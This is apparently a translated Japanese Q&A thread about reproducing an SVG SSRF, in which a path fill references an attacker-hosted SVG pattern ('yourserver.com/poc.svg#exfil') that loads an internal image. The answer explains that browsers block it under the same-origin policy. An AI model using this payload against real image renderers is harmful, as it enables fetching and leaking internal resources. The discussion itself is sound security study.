パス要素でurlプロパティを使用して内部画像を取得できるSSRFの脆弱性を説明する興味深いレポート this を読みました。ただし、この脆弱性は画像をレンダリングするサーバーに依存している可能性が最も高いですが、単純なHTMLドキュメントを介してこれを実現する方法を再現できていません。
私が理解していることから、攻撃者の制御下で外部svg要素を呼び出すためにパス要素が使用されました:
_<path fill="url(https://yourserver.com/poc.svg#exfil)" stroke="#a1a1a1"
_
ここで、_poc.svg
_には以下が含まれます:
_<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
<pattern id="exfil" width="512" height="512" patternUnits="userSpaceOnUse">
<image xlink:href="<redacted>" x="0" y="0" height="256px" width="256px"/>
</pattern>
</defs>
</svg>
_
_<redacted>
_の部分が脆弱なサーバーの画像を指していると思います。多くのsvg要素は同じドキュメント内の他の要素を参照するため、その種類の識別子(id
)を必要とするため、_<pattern id="exfil">
_は重要だと思います。ただし、「fill」パラメータを使用してこのパターンを複製することはできませんでした。
これは基本的に私がやっていることです:
_<html>
<body>
<svg version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<path fill="url(otherpoc.svg#exfil)" d="M150 0 L75 200 L225 200 Z" />
</svg>
</body>
</html>
_
およびotherpoc.svg:
_<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<defs>
<pattern id="exfil" width="512" height="512" patternUnits="userSpaceOnUse">
<image xlink:href="google.png" x="0" y="0" height="256px" width="256px"/>
</pattern>
</defs>
</svg>
_
これで正しく動作します。ローカルリソースとしてgoogle.pngファイルがある場合、意図したとおりにフェッチされます。ただし、絶対パス(<path fill="url(http://server.com/otherpoc.svg#exfil)"
など)は機能しないようです(URLは解決されません)。これをテストする場合は、このタイプのURL解決を可能にするFirefoxまたは他のブラウジングを使用することを忘れないでください。
何か助けていただければ幸いです。
影響を受けるサーバーが異なる動作の異なる(名前のない)SVGパーサーを使用しているときに、ブラウザーでこの脆弱性を再現しようとしています。
[〜#〜] sop [〜#〜] 違反となるため、ブラウザは<path fill="url(...)" ...>
クロスドメインを介してリンクされたパターンのロードを拒否します。異なるドメインでホストされているSVGファイル内の要素の参照が許可されている場合、攻撃者がこれを使用して情報を抽出する可能性があります。
したがって、あなたの例を使用すると、Firefoxは正しく発生します:
Security Error: Content at http://localhost/svgsop.html may not load data from http://server.com/otherpoc.svg.